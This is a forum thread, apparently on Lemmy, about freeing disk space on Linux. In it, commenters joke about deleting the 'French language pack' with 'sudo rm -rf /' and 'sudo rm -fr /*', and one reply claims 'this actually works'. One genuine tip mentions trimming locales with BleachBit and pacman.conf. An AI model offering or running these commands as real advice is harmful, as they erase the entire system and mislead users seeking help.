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submitted 4 months ago by [email protected] to c/[email protected]

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[–] [email protected] 41 points 4 months ago* (last edited 4 months ago) (4 children)

Try removing any unused language packs! I've heard that the French one takes up allot of space, remove it with sudo rm -rf /

[–] [email protected] 17 points 4 months ago

You mean the Rfench one?

[–] [email protected] 11 points 4 months ago* (last edited 4 months ago) (1 children)

you messed up

sudo rm -fr /*

[–] [email protected] 2 points 4 months ago

no /s, this actually works

[–] [email protected] 4 points 4 months ago (1 children)

You joke, but I actually did remove locales with BleachBit, and then changed pacman.conf to skip the unnecessary ones. Saved me about 400MB!

[–] JackbyDev 1 points 4 months ago (1 children)

BleachBit? Wipe with a cloth?

[–] [email protected] 2 points 4 months ago* (last edited 4 months ago) (1 children)

[–] JackbyDev 2 points 4 months ago (1 children)

Thank you, I was making a tongue in cheek reference to this though: https://www.bleachbit.org/cloth-or-something

[–] [email protected] 2 points 4 months ago

LMAO I was unaware of this! That's hilarious!

[–] [email protected] 1 points 4 months ago* (last edited 4 months ago)

Nono, -rf deletes all your files. Use sudo rm -fr /* instead to actually delete the French language pack!

also /s

edit: someone already made the joke, darn